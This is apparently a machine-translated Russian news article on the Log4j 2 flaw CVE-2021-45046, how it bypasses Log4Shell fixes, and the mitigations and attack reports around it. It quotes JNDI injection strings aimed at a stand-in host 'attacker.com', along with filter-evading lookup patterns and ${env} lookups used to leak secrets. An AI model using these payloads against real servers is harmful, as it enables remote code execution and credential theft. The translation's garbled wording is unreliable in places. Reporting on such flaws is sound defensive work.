Недавно появилась новость, что это было обнаружил еще одну уязвимость в реализации поиска JNDI в библиотеке Log4j 2 (CVE-2021-45046), что происходит, несмотря на исправления, добавленные в версии 2.15, и независимо от использования параметра защиты «log4j2.noFormatMsgLookup».
Проблема это особенно опасно в основном для старых версий Log4j 2, защищенный флагом noFormatMsgLookup, поскольку он позволяет обойти защиту от прошлых уязвимостей (Log4Shell, CVE-2021-44228), что позволяет запускать ваш код на сервере.
Для версия 2.15, работа ограничена созданием условий за аварийное завершение работы приложения из-за исчерпания доступных ресурсов.
Уязвимость влияет только на системы, использующие контекстный поиск, такие как $ {ctx: loginId} или шаблоны Thread Context Map (MDC), такие как% X,% mdc и% MDC, для регистрации.
Операция сводится к созданию условий для отправки данных, содержащих подстановки JNDI, в реестр при использовании контекстных запросов или шаблонов MDC в приложении, которые определяют правила форматирования вывода в реестр.
Исследователи LunaSec отметили чем для версий Log4j ниже 2.15, эту уязвимость можно использовать как новый вектор для атаки Log4Shell., что приводит к выполнению кода, если выражения ThreadContext используются при публикации в реестр, который включает внешние данные, независимо от того, установлен ли флаг для защиты. Шаблон "NoMsgFormatLookups" или "% m {nolookups}".
Обход защиты сводится к тому, что вместо прямой подстановки «$ {jndi: ldap: //example.com/a}» этим выражением подставляется значение промежуточной переменной, используемой в правилах для форматирования извлечения. реестр.
Например, если при отправке в реестр используется контекстный запрос $ {ctx: apiversion}, атака может быть проведена путем подстановки данных "$ {jndi: ldap: //attacker.com/a}" в значение записывается в переменную отклонения.
В версии Log4j 2.15 уязвимость может использоваться для выполнения DoS-атак. при передаче значений в ThreadContext, который выполняет цикл обработки шаблона выходного формата.
Чтобы иметь возможность попытаться решить возникшие проблемы вышли обновления 2.16 и 2.12.2 заблокировать уязвимость. В ветви Log4j 2.16, в дополнение к исправлениям, реализованным в версии 2.15 и привязке запросов JNDI LDAP к "localhost", по умолчанию функциональность JNDI полностью отключена, а поддержка шаблонов подстановки сообщений была удалена.
В качестве обходного пути предлагается удалить класс JndiLookup из пути к классам (например, «zip -q -d log4j-core - *. Jar org /apache/logging/log4j/core/lookup/JndiLookup.class»).
Что же касается действия, предпринятые различными проектами:
к NginxНа основе модуля njs подготовлен скрипт, который блокирует передачу JNDI-выражений в заголовках HTTP, URI и теле POST-запросов. Скрипт можно использовать на интерфейсных серверах для защиты бэкендов..
Для HAProxy предоставляются правила конфигурации, блокирующие работу CVE-2021-44228.
Помимо ранее выявленных атак, направленных на формирование ботнета для майнинга криптовалюты, в Log4J 2 использовалась уязвимость для распространения вредоносных программ-вымогателей, шифрующих содержимое дисков и требующих выкупа за расшифровку.
Checkpoint определила около 60 вариантов различные типы эксплойтов, используемых для атак.
CloudFlare сообщил, что пытается протестировать проявление уязвимости в Log4j они были выявлены 1 декабря, то есть за 8 дней до публичного раскрытия проблемы. Первые попытки эксплуатации уязвимости были зафиксированы всего через 9 минут после раскрытия информации. В отчете CloudFlare также упоминается использование таких замен, как «$ {env: FOO: -j} ndi: $ {lower: L} дает $ {lower: P}», чтобы опустить маску «jndi: ldap» и использование Выражения атаки $ {env} для передачи информации о паролях и ключах доступа, хранящихся в переменных среды, на внешний сервер и выражения $ {sys} для сбора информации о системе.
В конце концов если вам интересно узнать об этом больше вы можете проверить по следующей ссылке.